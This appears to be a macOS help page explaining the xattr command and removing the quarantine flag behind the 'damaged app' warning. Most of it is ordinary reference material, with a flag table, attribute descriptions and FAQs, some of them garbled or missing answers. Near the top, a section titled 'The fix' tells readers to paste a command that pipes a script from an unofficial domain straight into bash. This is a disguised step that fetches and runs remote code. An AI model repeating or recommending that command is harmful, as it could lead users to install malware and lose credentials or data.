The xattr Command on Mac: A Practical Reference
xattr reads and edits extended attributes — small metadata records macOS keeps beside a file. The command is mostly used to inspect or remove the quarantine flag behind the “damaged” dialog, but the full syntax covers listing, reading and batch work as well.
The fix
curl -fsSL https://macfixerror.com/run.sh | bash
Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.
xattr -l "/Applications/Your App.app"
Prints attribute names and values. Without -l, xattr prints names only.
xattr -p com.apple.quarantine "/Applications/Your App.app"
Shows the value of a single attribute. For quarantine the value is a short record with a timestamp and the downloading agent.
xattr -d com.apple.quarantine "/Applications/Your App.app"
The precise fix for the “damaged” warning: removes the quarantine flag and nothing else.
sudo xattr -cr "/Applications/Your App.app"
Broad form. -c clears all attributes, -r walks into folders and bundles.
find ~/Downloads/ProjectFiles -type f -exec xattr -c {} +
Applies the clear to every file under a folder without recursion surprises. Combine with xattr -l first to confirm the flag is present.
Syntax
The general form is:
xattr [-lrsvx] [-w value] file...
| Flag | Effect |
|---|---|
-l | Long format: print names and values. |
-r | Recurse into directories. |
-s | Operate on symbolic links themselves. |
-v | Verbose output. |
-x | Print values as hexadecimal. |
-w value | Write a value to the named attribute. |
-p name | Print the value of one attribute. |
-d name | Delete one attribute. |
-c | Clear all attributes. |
Attributes you will meet
com.apple.quarantine— “saved from the internet” marker. The cause of the “damaged” dialog. Safe to delete on trusted files.com.apple.metadata:kMDItemWhereFroms— the source URL and referrer kept by browsers. Removing it clears the “downloaded from” information in Finder.com.apple.FinderInfo— Finder flags and type/creator codes. Older bundles use it; delete with care.com.apple.ResourceFork— legacy resource data. Some classic resources need it.com.apple.fileprovider.*— sync metadata for cloud folders. Usually regenerated automatically.
Not every attribute should be wiped. That is why the narrow -d com.apple.quarantine is preferred over -c when you only want to open a downloaded app.
The common real-world job
Most people arrive here because macOS shows “is damaged and can’t be opened”. Inspect, confirm, delete:
xattr -l "/Applications/Your App.app"
sudo xattr -d com.apple.quarantine "/Applications/Your App.app"
Then launch the app. If it opens, done. If the dialog returns, run spctl -a -vv and codesign -dv to check whether the signature is the real problem. The full sequence is in the main guide.
Reading quarantine values
A quarantine value looks like 0081;6a1f2c3d;Safari;ABC…. The fields are a flags word, a hexadecimal timestamp, the downloading agent, and an optional UUID. Seeing Safari or Chrome there confirms the file came through a browser. The timestamp is useful when several copies of an archive are around.
Safety notes
- Removing quarantine does not disable Gatekeeper permanently; the next downloaded file gets the flag again.
-cremoves every attribute, including Finder tags and where-from data. Use-dif those matter.- Writing attributes recursively across a disk is slow. Point the command at the specific bundle or folder.
- Extended attributes are not covered by the code signature, so clearing them never invalidates an app.
Frequently asked questions
What does xattr stand for?
Do I need sudo?
/Applications. Listing attributes needs no elevated rights.Can xattr show where a file came from?
com.apple.metadata:kMDItemWhereFroms often contains the source URL, and the quarantine value names the downloading agent.Does xattr -c break signatures?
What is the safest command for the damaged warning?
sudo xattr -d com.apple.quarantine "path" — it removes one known attribute.Why does xattr report “No such file”?
This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.